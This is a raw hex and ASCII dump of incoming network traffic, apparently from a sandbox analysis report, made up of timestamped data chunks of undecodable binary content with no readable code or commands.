0f 95 1e af 96 44 4b 05 08 59 21 19 40 43 05 73 a4 e1 22 51 53 c1 3e 2f 8a 44 92 31 f6 d9 9d 89 54 30 a1 a0 e3 82 4c a4 
aa 56 78 d2 eb b4 44 24 8e 05 cd 9d 5b b5 ac b9 0b 87 c8 e2 38 2c 42 ea c7 82 4a cf c2 97 55 7a 6d 30 6c a5 85 3b 6c 
65 90 50 27 58 46 aa 13 6e 12 2a 3d 57 b5 ad d2 6b b0 1d f6 0f 05 c4 95 a1 4d c6 b3 54 55 d3 f1 2c 83 84 71 8b 84 67 4c 
f2 16 b6 37 d0 f5 7d 7d 25 2a 2a 40 6a 30 73 28 35 18 48 84 c6 b4 70 87 c6 0c 12 b6 b5 16 ee 48 3a 41 c2 f1 36 65 c8 f1 
36 48 d8 c3 a5 0c db c3 dd 24 dc 68 7f ba 2a b9 d1 82 cc 88 a4 
Data Ascii:  rzV{URU=@jnG>8@hn]~Px]'"pD bhviDKY!@Cs"QS>/D1T0LVxD$[8,BJUzm0l;leP'XFn*=WkMTU,qgL7}}%**
@j0s(5HpH:A6e6H$h*

2022-09-20 10:10:08 UTC 1192 IN Data Raw: b9 7a 3b df 20 90 94 23 02 85 bf 5a 20 48 dc 5f dc 95 31 4c 85 8a 18 48 51 f3 d5 0c a5 a8 09 f2 f8 34 08 35 32 
b8 0b 77 51 b9 0b 2f 11 98 3d 67 6a 22 29 47 e2 60 ed e1 88 92 91 21 12 84 54 ab 32 ce f1 95 48 b5 aa 57 a6 da 11 6a 
66 c4 f5 ce df 92 a8 f2 50 00 79 5e c9 4a 7a f7 07 89 54 b8 1c ed 44 52 1e 86 b2 fb 48 34 dd 59 c6 51 2b 93 b5 0a a9 a8 
78 ee a9 d9 c0 40 aa 55 87 91 ce b7 8f 57 a2 62 46 66 ce 12 72 51 48 85 9b 12 4a 85 1b e4 be d2 6a 92 48 9d 38 6a ba 
dd 08 49 c7 c0 4d 2a c7 2e 91 74 30 5d c9 4f 31 9c ae 24 48 04 a7 a3 cd 1d 51 32 e2 ac f6 f9 9b 19 3a ab 95 78 0a c9 17 
5e 22 29 5f 33 13 6a 08 49 f9 ee e7 9e 3a ee c1 fc 43 5d ef 78 b6 b4 72 a0 21 06 8c 0a 55 d4 e5 24 8e 41 e2 8a 55 bf e0 
e5 24 8e 37 79 45 40 0a 2d 77 40 1a a2 71 f8 bd 87 e8 cf 3f 
Data Ascii: z; #Z H_1LHQ452wQ/=gj")G`!T2HWjfPy^JzTDRH4YQ+x@UWbFfrQHJjH8jIM*.t0]O1$HQ2:x^")_3jI:C]xr!
U$AU$7yE@-w@q?

2022-09-20 10:10:08 UTC 1200 IN Data Raw: e2 c1 7a 4d 54 e4 2f e7 37 ca db 2f d1 24 bf fd 7a 2a 05 d1 f2 6e 86 b7 e3 e0 ca 47 31 0d 30 5f 8d f9 c1 7f fb 
65 36 a6 f9 76 74 fb 25 ae 06 d4 75 40 29 eb 46 74 3b ee 84 52 e2 86 30 d7 95 e0 ca 7b 2f ab b7 e3 12 94 b2 6e 21 b7 
e3 20 5e 2a c9 e1 75 d5 fb cb 71 10 2f 95 e2 f0 ed 6f a7 52 d0 53 92 35 d9 73 3b 0e a2 ac 5e 86 e1 1a 76 28 25 7a 25 9c 
17 f4 4a 75 7b 82 ba e0 6e e3 bd 00 df 8e 83 5e 99 44 3b 84 bf 10 da a1 7a f0 ff db 0f 53 29 68 87 d9 6c 51 39 42 29 31 
dc 9c af 46 86 76 98 ad 97 9c db 71 d0 36 b2 79 07 c8 d0 36 c4 fa 1c a8 ab 40 a9 62 de 37 2a f4 4a ef 71 79 3b 0e ae 46 
15 bd f2 b7 53 bc 2a f4 ca 6a 5e c3 0a e7 25 90 07 4b 41 9b af 66 9b 6f 70 35 bc d7 9f db 71 70 35 9a 35 b5 7c 3b 0e ae 
86 37 f0 cc 30 8d 9d bf 1c e6 5f 38 e0 2f 1c e2 2f fc e3 
Data Ascii: zMT/7/$z*nG10_e6vt%u@)Ft;R0{/n! ^*uq/oRS5s;^v(%z%Ju{n^D;zS)hlQ9B)1Fvq6y6@b7*Jqy;FS*j^%KA
fop5qp55|;70_8//

2022-09-20 10:10:08 UTC 1208 IN Data Raw: aa ee 7e af a7 a3 57 75 d7 ab 3a 7a 55 77 bf d7 d3 d1 ab ba eb 55 1d bd aa 2b af fa fe 8f 73 39 8c 9f eb 55 1d 
bd aa 2b af 82 f1 20 7a 55 77 bd aa a3 57 75 f7 7b 3d 1d bd aa bb 5e d5 d1 ab ba eb 55 1d bd aa bb 5e d5 d1 ab ba f2 2a 
b8 7f a2 57 75 d7 ab 3a 7a 55 57 5e 05 f3 2f e8 55 fd d3 45 7e 5d df 40 af 1a ee f7 81 c6 53 c0 72 66 fc 06 7a d5 50 5e 35 
7b f1 40 af 1a ae 57 0d f4 aa a1 bc 0a eb 1b 58 ce 8c df 40 af 1a ca ab f0 7a ee 58 ce 8d 1f 7a d5 70 f3 ab 06 7a d5 70 bd 
6a a0 57 0d f9 7d a0 ef e7 72 18 3f d7 ab 06 7a d5 50 5e 35 df cf 06 7a d5 70 bd 6a a0 57 0d e5 55 10 3f f4 aa e1 7a d5 
40 af 1a ca ab e6 fb d9 40 af 1a ae 57 0d f4 aa 21 bd ea cf 73 39 8c 9f eb 55 03 bd 6a 28 af 9a df 57 06 7a d5 70 bd 6a a0 
57 0d e5 55 f3 7c d6 40 af 1a ae 57 0d f4 aa 
Data Ascii: ~Wu:zUwU+s9U+ zUwWu{=^U^*Wu:zUW^/UE~]@SrfzP^5{@WX@zXzpzpjW}r?zP^5zpjWU?z@@W!s9
Uj(WzpjWU|@W

2022-09-20 10:10:08 UTC 1216 IN Data Raw: e8 71 51 79 dc f7 50 0e e3 e7 7a 5c 44 8f 8b ca e3 f0 fc 30 7e ae c7 45 f4 b8 e8 66 ab 45 f4 b8 f8 e9 22 bf ae 
2f a1 c7 25 e5 71 b3 ff a5 27 dc a2 cc f5 b8 84 1e 97 94 c7 cd eb 35 12 7a 5c 72 3d 2e a1 c7 25 d7 e3 12 7a 5c 72 3d 2e 
a1 c7 25 e5 71 58 1f 6e 57 e6 7a 5c 42 8f 4b ca e3 7e f3 a7 b9 1c c6 cf f5 b8 84 1e 97 94 c7 41 fc d0 e3 92 eb 71 09 3d 
2e c9 cf 89 bd 9d cb 61 fc 5c 8f 4b e8 71 49 79 1c c4 0f 3d 2e b9 1e 97 d0 e3 92 bb a3 63 42 8f 4b ae c7 25 f4 b8 a4 3c 
6e 7e be 27 f4 b8 e4 7a 5c 42 8f 4b 32 5f 6d 8e 1f 7a 5c 72 3d 2e a1 c7 25 e5 71 f3 6e 15 09 3d 2e d9 fb 3b d2 06 8f 32 5f 
6d ae 8f b7 78 74 e3 47 9b 3c da bb 3c d2 36 8f f6 3e 8f b4 d1 a3 f2 b8 37 70 7e 18 3f 7b af 47 da ec 51 79 dc fc bc 4d b4 
dd a3 eb 71 09 3d 2e 29 8f 83 fa d0 e3 92 eb 71 
Data Ascii: qQyPz\D0~EfE"/%q'5z\r=.%z\r=.%qXnWz\BK~Aq=.a\KqIy=.cBK%<n~'z\BK2_mz\r=.%qn=.;2_mxtG<<6>7p~?
{GQyMq=.)q

2022-09-20 10:10:08 UTC 1223 IN Data Raw: 99 4b f2 15 94 a4 78 da f3 f1 91 e6 e3 e3 e1 e6 45 c6 63 a1 92 f6 b5 a5 b9 f1 e8 ee 0a 7b 3b 92 ae ad 3d 37 
1e 69 6e 3c ba 3b c3 de 8e a4 6b 6b cf 8d 47 9a 1b 8f 72 6e 1c de 1d 68 6e 3c da 73 e3 91 e6 c6 a3 9a 1b c7 b1 26 cd 8d 
c7 4f 17 fa 44 9d 89 e6 c6 93 9a 1b 87 77 de f4 14 a8 a4 1b cf 44 73 e3 49 cd 8d bf c3 92 85 4a ba f1 4c 34 37 9e d4 dc 
38 8c 6f 13 cd 8d 27 7b 6e 3c d1 dc 78 52 73 e3 30 06 4b 34 37 9e ec b9 f1 44 73 e3 49 ee 1a fb 16 4a 52 3c dd 7d 63 6f 
47 52 3c d5 ce b1 30 27 95 02 c5 d3 ce 5f 49 94 bf 92 54 fe 0a f4 95 44 f9 2b c9 ce 5f 49 94 bf 92 54 fe 0a b6 5b ca 5f 49 
b6 3b 24 72 87 e4 ee 22 7b 3b 92 e2 69 e7 af 24 12 8b a4 f2 57 c0 ed 13 e5 af 24 3b 7f 25 51 fe 4a 52 f9 2b 30 06 4b 94 
bf 92 ec fc 95 44 f9 2b c9 dd 51 f6 76 24 c5 d3 36 9d 
Data Ascii: KxEc{;=7in<;kkGrnhn<s&ODwDsIJL478o'{n<xRs0K47DsIJR<}coGR<0'_ITD+_IT[_I;$r"{;i$W$;%QJR+0K
D+Qv$6

2022-09-20 10:10:08 UTC 1231 IN Data Raw: 76 24 5d 5b db cb 22 79 59 54 5e 86 f7 21 f2 b2 68 7b 59 24 2f 8b ca cb f0 3c c9 cb a2 ed 65 91 bc 2c 2a 2f c3 
67 19 79 59 b4 bd 2c 92 97 45 e5 65 74 9e 14 4f db cb 22 79 59 54 5e 46 75 52 3c 6d 2f 8b e4 65 51 79 19 b6 21 f2 b2 68 
7b 59 24 2f 8b ca cb a8 4e 8a a7 ed 65 91 bc 2c 2a 2f c3 77 7b f2 b2 68 7b 59 24 2f 8b ca cb 70 1c 4f 5e 16 6d 2f 8b e4 
65 d1 dd 47 f4 76 24 c5 d3 f6 b2 48 5e 16 e5 b7 fe e0 3c c9 cb a2 ed 65 91 bc 2c 2a 2f c3 39 29 f2 b2 68 7b 59 24 2f 8b 
ee b7 fe 6e 47 52 3c 6d 2f 8b e4 65 51 7e eb 0f c6 7d e4 65 d1 b6 ab 48 76 15 65 ee 1e 3c 3f c9 ae a2 6d 57 91 ec 2a da 
76 15 c9 ae e2 a7 0b 7d a2 ce 44 76 95 94 5d c1 78 28 3d 05 2a e9 f6 95 44 76 95 e4 fe 9a df 40 c9 42 25 dd 78 26 b2 ab 
a4 ec ea b7 58 e7 a0 92 6e 3c 13 d9 55 92 df c0 c3 3a 
Data Ascii: v$]["yYT^!h{Y$/<e,*/gyY,EetO"yYT^FuR<m/eQy!h{Y$/Ne,*/w{h{Y$/pO^m/eGv$H^<e,*/9)h{Y$/nGR<m
/eQ~}eHve<?mW*v}Dv]x(=*Dv@B%x&Xn<U:

2022-09-20 10:10:08 UTC 1239 IN Data Raw: 7a a7 79 ea 5d cd 53 53 9d 14 4f 7b 9e 7a a7 79 ea 5d ce 53 63 9d 14 4f 7b 9e 7a a7 79 ea 5d cd 53 63 5f a1 
79 ea dd 9e a7 de 69 9e 7a 57 f3 d4 f0 8e b4 d3 3c f5 6e cf 53 ef 34 4f bd ab 79 ea 9f 7e 86 92 14 4f 7b 9e 7a a7 79 ea 5d 
cd 53 43 6e d0 4e f3 d4 bb 3d 4f bd d3 3c f5 6e cf 53 ef 34 4f bd db f3 d4 3b cd 53 ef f6 3c f5 4e f3 d4 bb 3d 4f bd d3 3c f5 
ae e6 a9 ff f8 2d 94 a4 78 da f3 d4 3b cd 53 ef 6a 9e 1a f2 74 76 9a a7 de ed 79 ea 9d e6 a9 77 fb 7b 57 3b cd 53 ef f6 3c 
f5 4e f3 d4 bb fc de d5 5b 28 49 f1 b4 e7 a9 77 9a a7 de d5 3c 35 cc 49 ed 34 4f bd db f3 d4 3b cd 53 ef 6a 9e 1a de 91 
76 9a a7 de ed fc 95 9d f2 57 76 95 bf 82 63 30 ca 5f d9 ed b9 f1 9d e6 c6 77 35 37 0e f3 43 3b cd 8d ef f6 dc f8 4e 73 e3 
bb dc 4b 0f ce 93 e6 c6 77 7b 6e 7c a7 b9 
Data Ascii: zy]SSO{zy]ScO{zy]Sc_yizW<nS4Oy~O{zy]SCnN=O<nS4O;S<N=O<-x;Sjtvyw{W;S<N[(Iw<5I4O;SjvWvc0_w
57C;NsKw{n|

2022-09-20 10:10:08 UTC 1247 IN Data Raw: b1 ef 09 85 ee 09 45 de 13 e6 a7 7d a1 7b 42 19 76 9d 0b d5 29 9f 0e 50 27 3d 1d ca 6e c7 73 a7 bf 76 97 f7 
04 2c c9 75 ba f1 dc 29 9e bb 8a 27 d5 09 f1 ac f6 fb 67 a5 a8 54 7b 84 51 69 84 71 fb 6d 8e de 6a c6 d1 db ed b7 b1 29 
f9 c7 23 61 ea a2 ca 9e 0d 75 52 cf be fd 56 ab 97 bf 87 92 78 9e 4d ad ed c7 3a 03 d5 29 73 57 a1 ce 80 57 e8 33 85 7e 
5d 67 a3 39 8c 26 df 74 e6 be d2 e8 4d a7 45 bb ce 44 75 ca b7 8e 6f df 41 49 ac d3 be 0f 35 ba 0f 35 39 a6 be 5b d1 87 
23 23 96 b4 eb 2c 54 a7 1c d5 cc f3 26 8d 46 35 4d ce 65 41 9d f5 57 25 cd 71 c2 ed 48 38 cf 6e bf 01 74 7a 03 e8 72 ae 
66 ee 9f 9d e6 6a fa 6e d7 79 50 9d 72 64 3c b7 db 4e 23 e3 21 17 26 ce 75 8e 80 75 0e f9 86 fe 1e 4b 42 9d 8b dd 86 16 
6a 43 8b 6c 43 5f 63 49 ac d3 be b6 0b 5d db 45 be 3b dc 
Data Ascii: E}{Bv)P'=nsv,u)'gT{Qiqmj)#auRVxM:)sWW3~]g9&tMEDuoAI559[##,T&F5MeAW%qH8ntzrfjnyPrd<N#!&uu
KBjClC_cI]E;

Timestamp
kBytes
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Direction Data
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2022-09-20 10:10:08 UTC 1255 IN Data Raw: 6f ef 7a da 79 e2 7a de f2 f5 bc 71 3d 6f f9 7a de b8 9e b2 41 7d c0 a1 3e 64 8b fa 80 47 7d 44 79 6d 23 d6 36 
aa 98 f9 3e 12 39 e5 b5 85 33 7e b8 d6 b8 79 27 44 ae ad fc ac c0 1d 3f 5c 7b dc fc ae c0 1f 3f 64 83 fc 80 43 7e b8 16 b9 
cd 89 eb 99 e4 eb 99 70 3d 93 cc b7 09 d7 53 36 e6 0f 38 f3 87 6b cd 9b df 4f 78 f3 87 6c ce 1f 70 e7 0f d7 9e 37 df 3c 82 
3f 7f c8 06 fd 01 87 fe 70 2d 7a f3 4e 80 47 7f 64 f9 7a 66 5c cf 2c 3f 9f 19 d7 53 2e 0c 1c a8 0c 1c 72 69 e0 40 6d e0 90 
cd fa 03 6e fd e1 da f5 26 27 fc fa 43 36 ec 0f 38 f6 87 6b d9 9b b5 85 67 7f c8 a6 fd 01 d7 fe 70 6d 7b 9b 93 6b 2b 3f 2b 
70 ee 0f df ba 7f 33 91 36 a7 6c de 1f 70 ef 0f d7 be 37 ef 04 f8 f7 87 6c a8 1f 70 d4 0f d7 52 37 6b 0b 4f fd 90 4d f5 03 ae 
fa 21 db ea 07 7c f5 43 36 d6 0f 38 
Data Ascii: ozyzq=ozA}>dG}Dym#6>93~y'D?\{?dC~p=S68kOxlp7<?p-zNGdzf\,?S.ri@mn&'C68kgpm{k+?+p36lp7lpR7
kOM!|C68

2022-09-20 10:10:08 UTC 1262 IN Data Raw: 7e 7c 87 1f df e5 b3 dc 3b fc f8 2e fb f1 1d 7e 7c 97 fd f8 0e 3f be cb de 78 87 37 de e5 73 d5 3b bc f1 2e 7b e3 
1d de 78 77 bd 71 33 4f 78 e3 5d f6 c6 3b bc f1 ee 7a e3 e6 9d b0 b8 b6 ea b3 32 e0 8d 0f f9 5b b9 e3 8b 7d 56 86 ec 8d 
0f 78 e3 43 f6 c6 07 bc f1 21 7b e3 03 de f8 90 bd f1 01 6f 7c c8 de f8 80 37 3e 64 6f 7c c0 1b 1f b2 37 3e e0 8d 0f d7 1b 
df df 7d 03 de f8 90 7d ea 01 9f 7a c8 e7 f2 8c 83 f3 94 ef db 80 fb 36 a8 35 d7 81 fe f8 21 7b e3 03 de f8 f0 fb e3 bf 99 48 
e4 94 ef 5b 78 e3 c3 f5 c6 77 d6 1c f0 c6 87 ec 8d 0f 78 e3 43 f6 c6 07 bc f1 21 7b e3 03 de f8 f8 70 bc b5 9c e7 97 60 23 
e5 eb 89 fe f8 21 f7 c7 0f f4 c7 0f d9 8f 1f f0 e3 87 dc 1f 3f e0 c7 0f d9 8f 1f f0 e3 87 ec c7 0f f8 f1 43 f6 e3 07 fc f8 e1 fa f1 
fb 6f d9 80 1f 3f 64 3f 7e 
Data Ascii: ~|;.~|?x7s;.{xwq3Ox];z2[}VxC!{o|7>do|7>}}z65!{H[xwxC!{p`#!?Co?d?~

2022-09-20 10:10:08 UTC 1270 IN Data Raw: da 7c e2 ee b9 8f 81 36 9f 7a bf 34 7b bf 88 3d 1b 1f 03 4d 3e 91 84 df 07 da f9 b9 1c fc dc 69 f0 31 d0 e4 13 
89 34 7c ed 36 9f 78 9a dc c7 40 9b 4f 5d cf 61 d7 d3 3d 85 7a cf 37 ec 7a 8a f4 fb 3e d0 ce cf ef d1 d8 f3 d9 f9 89 14 fa 
3e d0 e6 13 fb 33 3e 06 da 7c ea 7a 2e bb 9e 22 7f 7e 0c b4 78 a6 ce 6f d9 f9 89 ec f9 31 10 38 28 e6 3b be fc 00 84 e2 
1b f4 30 5f 9e ff f8 b7 cc 84 5f 00 85 62 a7 f3 63 a4 c5 50 b1 fb e4 7d 24 c1 57 3c 57 e3 31 d2 e6 d4 d9 97 f0 2b 76 9f 3c 
46 22 a7 3c cf 80 79 06 ad 32 f9 18 69 73 ca cc 7d 00 ba 0f 99 ba 0f 60 f7 21 73 f7 01 f0 3e 44 77 fe 31 d2 e6 94 d9 fb 00 
7c 1f 2e 7d 9b b5 05 7e 1f 32 7f 1f 00 f0 c3 25 f0 e7 d9 bd 8f 91 36 a7 cc e0 07 20 fc 10 bb 4f 1e 23 91 53 9e 27 40 fc f0 
cf aa fb 8b 89 b4 39 65 16 3f 00 e3 87 4c 
Data Ascii: |6z4{=M>i14|6x@O]a=z7z>>3>|z."~xo18(;0__bcP}$W<W1+v<F"<y2is}`!s>Dw1|.}~2%6 O#S'@9e?L

2022-09-20 10:10:08 UTC 1278 IN Data Raw: bc f1 2a 7b e3 15 de 78 95 b5 43 85 76 a8 b2 4f 5d a1 1d aa ac 1d 2a b4 43 95 7d ea 0a ed 50 65 ed 50 a1 1d 
aa af 1d de 4c a4 cd 29 6b 87 0a ed 50 5d ed f0 b3 c9 89 79 ca da a1 42 3b 54 57 3b ec 9a b7 42 3b 54 59 3b 54 68 87 
ea 6a 07 f3 7c 42 3b 54 d9 a7 ae f0 a9 ab eb 53 ef 0c 56 e1 53 57 d9 33 ae f0 8c ab 7c 36 62 85 67 5c 65 bd 52 a1 57 aa 
ab 57 76 5d 56 f9 f9 49 59 af 54 e8 95 2a f7 8d 57 78 c6 55 ff e6 25 3f 7a 29 9f e3 52 f9 d9 4b 59 23 55 68 a4 2a 6b a4 0a 
8d 54 65 8d 54 a1 91 aa 7c ae 7a 85 46 aa b2 46 aa d0 48 f5 43 f9 7c 1a b9 ef 5b 7e 1f 19 6c a4 3c 4f 68 a4 2a 6b a4 0a 
8d 54 65 8d 54 a1 91 aa ff 2d f6 df 4c a4 cd 29 6b a4 0a 8d 54 65 8d 54 a1 91 aa ac 91 2a 34 52 95 35 52 85 46 aa b2 46 
aa d0 48 d5 d5 48 e6 ab b4 d0 48 55 d6 48 15 1a a9 ca 1a 
Data Ascii: *{xCvO]*C}PePL)kP]yB;TW;B;TY;Thj|B;TSVSW3|6bg\eRWWv]VIYT*WxU%?z)RKY#Uh*kTeT|zFFHC|[~l<Oh
*kTeT-L)kTeT*4R5RFFHHHUH

2022-09-20 10:10:08 UTC 1286 IN Data Raw: ec 19 9f f0 8c 4f b9 eb e2 84 67 7c ca 4c 7d 82 a9 4f b9 f3 e2 04 53 9f 32 53 9f 60 ea d3 65 6a 93 13 4c 7d ca 
4c 7d 82 a9 4f b1 63 fc 31 12 2d ab 72 4e f0 ed 29 9e f8 f1 18 c9 36 59 31 e7 05 6f fc 12 4f 1a 7f 8c b4 ad ab 32 53 5f 60 
ea cb ff 0a e7 9b 89 44 4e 79 9e 60 ea cb 65 ea ff fa bb 89 b4 39 65 be bd c0 b7 97 cc b7 17 f8 f6 92 f9 f6 02 df 5e 7e 1f 
c6 9b 89 44 4e 79 9e e0 db cb e5 db 5d af 5c e0 db 4b e6 db 0b 7c 7b c9 de f8 05 be bd f4 9e 72 36 95 bb 7c fb db 2f 26 
d2 e6 d4 fb ca d9 58 2e f3 ed c5 d6 72 d9 1b bf e0 8d 5f ae 37 fe fb 2f 26 d2 e6 94 99 fa 02 53 5f 32 53 5f 60 ea 4b 66 ea 
0b 4c 7d c9 fd 26 17 98 fa 92 fd f8 0b 7e fc e5 fa f1 3b 9b 5c f0 e3 2f 99 e3 2f 70 fc 25 f7 b8 5c e0 f8 4b e6 f8 0b 1c 7f b9 
1c ff d3 9b 89 b4 39 65 a6 be c0 d4 97 
Data Ascii: Og|L}OS2S`ejL}L}Oc1-rN)6Y1oO2S_`DNy`e9e^~DNy]\K|{r6|/&X.r_7/&S_2S_`KfL}&~;\//p%\K9e

2022-09-20 10:10:08 UTC 1294 IN Data Raw: 7e 80 e3 87 cc f1 03 1c 3f 5c 8e 37 f7 10 38 7e c8 1c 3f c0 f1 c3 f5 e3 cd f5 84 1f 3f 64 8e 1f e0 f8 21 ef 21 1e 
e0 f8 21 73 fc 00 c7 0f 79 3f ef 28 cc 29 af 2d fa 6a 86 bc 9f 77 a0 af 66 c8 da 61 40 3b 0c 59 3b 0c 68 87 21 6b 87 01 ed 
30 5c ed 60 9e 4f 68 87 21 6b 87 01 ed 30 e4 be 9a 01 ed 30 64 ed 30 a0 1d 86 ac 1d 06 b4 c3 90 b5 c3 80 76 18 ae 76 
d8 bf b1 35 a0 1d 86 ac 1d 06 b4 c3 90 cf d7 1c d0 0e 43 f6 e3 07 fc f8 21 ef 21 1e f0 e3 87 ac 57 06 f4 ca 70 f5 8a 79 f7 
41 af 0c 59 af 0c e8 95 21 9f 79 34 a0 57 86 ac 57 06 f4 ca 70 f5 ca be 0f 60 40 af 0c 59 af 0c e8 95 21 f7 2c 0d e8 95 29 
6b 87 09 ed 30 e5 7d 00 f3 0b 73 aa 6b 3b a1 1d a6 ab 1d 76 6f 7c 42 3b 4c 59 3b 4c 68 87 e9 6a 87 5d 97 4d 68 87 29 
6b 87 09 ed 30 5d ed b0 33 f5 84 76 98 b2 76 98 
Data Ascii: ~?\78~??d!!!sy?()-jwfa@;Y;h!k0\`Oh!k00d0vv5C!!WpyAY!y4WWp`@Y!,)k0}sk;vo|B;LY;Lhj]Mh)k0]3vv

2022-09-20 10:10:08 UTC 1301 IN Data Raw: 23 fb f6 47 be ec 0f 7a fe 91 9b 74 bf 5e 4a f7 e7 6f 56 df 2e c0 cb 1e a1 67 b6 4d f1 5f 2f 15 ff 13 30 37 c5 7f 
bd 54 fc cf 25 19 db 1f f9 b2 e9 e7 f9 47 6e 46 c1 f5 da 28 f8 9e 6d 6e 17 e0 65 e3 cf 96 6d 9b db 4b 7f e1 7f 7d bf 00 73 
9b db cb e6 9f 67 b6 cd 96 b8 5e fa 0b cf b9 ad 2d 9b 13 81 6c db 31 25 87 77 44 09 e6 b6 9d 51 f2 fe df f2 4a de 9b 9b 
71 bf de 01 fb 3f df c3 ca 16 a6 cf 6d 73 33 ee 97 6e c6 f7 5f 9c 7b 73 33 ee 97 42 fc 99 6d 13 e2 f7 cb 4a d8 f7 eb 76 87 
2d db 4b fd be 65 db 56 f2 a5 7e 7f ae e4 a6 df 6f 5d bf df 9b 7e bf 5f ea f7 7f fb 3e b7 4d bf df ba 7e bf 37 fd 7e bf d4 ef df 
5f 78 f7 a6 df 6f 5d bf df 9b 7e bf 5f 0a f1 ef bf a6 f7 26 c4 ef 97 8a fa 2f df ff c8 4d 51 df ba 34 be 37 69 7c bf ae f2 fd f2 3d 
6c 5b 12 5d 1a df 9b 34 
Data Ascii: #Gzt^JoV.gM_/07T%GnF(mnemK}sg^-l1%wDQJq?ms3n_{s3BmJv-KeV~o]~_>M~7~_xo]~_&/MQ47i|=l[]4

2022-09-20 10:10:08 UTC 1309 IN Data Raw: 3e ea 6a 16 f5 ef a3 bf 90 eb fe 4d b2 fb 30 db bd 51 68 4e df a4 bb ff 85 7c f7 6f 12 de 87 19 ef 6d 75 88 6f 52 
de ff 42 ce fb 37 49 ef d3 88 80 b5 e7 d8 e9 ea d7 95 fe 3e 9a fb f7 d1 30 7f bd f5 db 27 b0 4f 7a ce e9 d4 27 9d 4e c3 ac 
d3 76 3d f7 69 a7 93 9e 77 3a f5 89 a7 d3 30 f3 f4 6b 57 e5 a4 f7 ab 7f 0f f6 c9 a7 d3 30 fb b4 ab ae d2 7f 0f ea f9 a7 53 9f 
80 3a 0d 33 50 bb 71 fe a6 ac 8b fe fe 75 fd fb 77 54 c1 b5 1f e7 fe 7b 70 54 c6 b5 f7 db 17 77 19 d5 72 ed 9e cf ae 2f ef 
a2 e7 dc 4e 7d d2 ed 34 cc ba 6d ab 73 f4 69 b7 93 9e 77 3b f5 89 b7 d3 30 f3 b6 5b 57 fd 7b 5f cf bd 9d fa e4 db 69 98 
7d db 8d 73 ff de d7 f3 6f a7 3e 01 f7 f5 0f 9f da b6 df bf ae 7f ef 8f aa 9c f6 7e fb f7 fe a8 d4 69 77 8e 75 fd 77 a8 9e fb 3b 
f5 c9 bf d3 30 fb b7 db bf fd 
Data Ascii: >jM0QhN|omuoRB7I>0'Oz'Nv=iw:0kW0S:3PquwT{pTwr/N}4msiw;0[W{_i}so>~iwuw;0

2022-09-20 10:10:08 UTC 1317 IN Data Raw: 7f ee 0f ae 1e ed a6 c6 6a 50 0d bf 4c f5 b3 dd dc 58 0d 6e 06 28 8b ff d9 ce 35 56 83 9b 01 ca e3 e0 d9 ce 37 
56 83 9b 01 8a 66 e1 d9 2e 34 56 83 4b ad 1a 5f b1 b1 52 67 0c 4f 91 4b 7f 8a 5c 78 8a 5c fa 53 e4 c2 53 e4 d2 9f 22 17 
9e 22 97 5c b4 e8 d1 14 de f4 a7 08 d2 3d 9c 9e ee e1 90 ee e1 f4 74 0f 87 74 0f 67 a7 7b 94 63 c3 c5 a7 c8 c0 a2 f5 c6 
b7 a2 b7 95 4c f7 bc 79 0f 33 6f 9e 36 6e 7a e5 a1 64 f2 ba 92 c9 43 c9 e4 6d 25 d3 fd 42 f4 50 32 79 5d c9 e4 a1 64 f2 ba 
92 c9 43 c9 e4 75 25 93 87 92 c9 db 4a a6 fb 85 e8 a1 64 f2 ba 92 c9 43 c9 e4 6d 25 d3 cf a5 6f 19 de e4 6d ea a1 64 f2 
ba 92 c9 43 c9 e4 75 25 93 87 92 c9 eb 4a 26 0f 25 93 d7 95 4c 1e 4a 26 6f 2b 99 aa b7 13 de f4 6d 0a 25 93 d7 2b ac 7a 
28 99 bc ae 64 f2 50 32 79 5b c9 54 f6 1b 94 4c 5e 
Data Ascii: jPLXn(5V7Vf.4VK_RgOK\x\SS""\=ttg{cLy3o6nzdCm%BP2y]dCu%JdCm%omdCu%J&%LJ&o+m%+z(dP2y[TL^

2022-09-20 10:10:08 UTC 1325 IN Data Raw: d1 af 40 59 90 83 b8 e8 39 88 0b 72 10 17 3b 07 f1 3e 71 2f c8 41 5c f4 1c c4 05 39 88 8b 9d 83 58 fb 86 fd a6 
e7 20 2e c8 41 5c ec 1c c4 3a 6f d8 6f 7a 0e e2 82 1c c4 c5 ce 41 bc 23 d4 0b 72 10 17 3d 2b 70 41 56 e0 62 67 05 96 dd 
8d ac c0 65 d6 57 c9 8c 55 32 cb c4 f3 d1 14 de f4 55 82 cc b7 c5 ce 7c ab 7d c3 2a d1 73 d1 16 e4 a2 2d 42 2e da d7 62 
06 6f fa 73 12 b9 68 8b 9d 8b f6 fb 8f c5 ac 7a d3 73 d1 16 e4 a2 2d 76 2e da fd 6d ba 20 17 6d d1 af 09 59 70 4d c8 a2 5f 
13 b2 e0 9a 90 45 cf 7c 5b 90 f9 b6 d8 99 6f 65 bf 21 f3 6d d1 af 09 59 70 4d c8 eb ef 61 15 07 8c e4 ab e9 dc db ce 03 db 
3f 7f 6c 6c 5d 6f 3b 2c 2c f6 df 8d ad ef 6d fd c0 b6 3c db df 9b 86 de 76 30 33 7f fb e5 8f c6 36 f6 b6 51 79 5a bc 37 4d bd 
ed 60 8e 0a 23 fb 68 fa cd 1c e5 d1 8a f8 
Data Ascii: @Y9r;>q/A\9X .A\:oozA#r=+pAVbgeWU2U|}*s-B.boshzs-v.m mYpM_E|[oe!mYpMa?ll]o;,,m<v036QyZ7M`#h

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 1333 IN Data Raw: f0 9c ce f0 dc 8c be cd f2 49 c1 81 e1 39 5d f1 eb a0 f8 75 b6 e2 f7 b7 7f 15 33 78 d3 d7 24 88 a1 b3 89 e1 0f 
a5 6f 58 93 7f 21 f3 9f a9 ff 36 31 2c de 9a e4 7f 7d de 98 fe af 2b 7e 1d 0b 00 e8 8a 5f 07 c5 af b3 15 bf 65 bf 41 f1 eb fe 
42 bd 01 16 1c d0 f9 a4 03 9f 74 3a 9f 74 e0 93 ce e6 93 b5 92 02 e6 4d d7 17 3b e8 8b 9d ad 2f 2e 7d 83 be d8 a9 15 54 
9f 4d 31 6f 6a 05 d5 57 53 78 d3 e7 0d ec d5 d9 ec b5 7a c3 bc e9 fa 62 07 7d b1 d3 eb 1d 38 e8 7c 9d 4e 43 1d 68 a8 b3 
69 e8 7b e5 a4 57 53 78 d3 d7 24 68 a8 d3 eb 1e 38 d0 50 a7 d3 50 07 1a ea 6c 1a 5a e6 0d 34 d4 e9 34 d4 81 86 3a 9b 
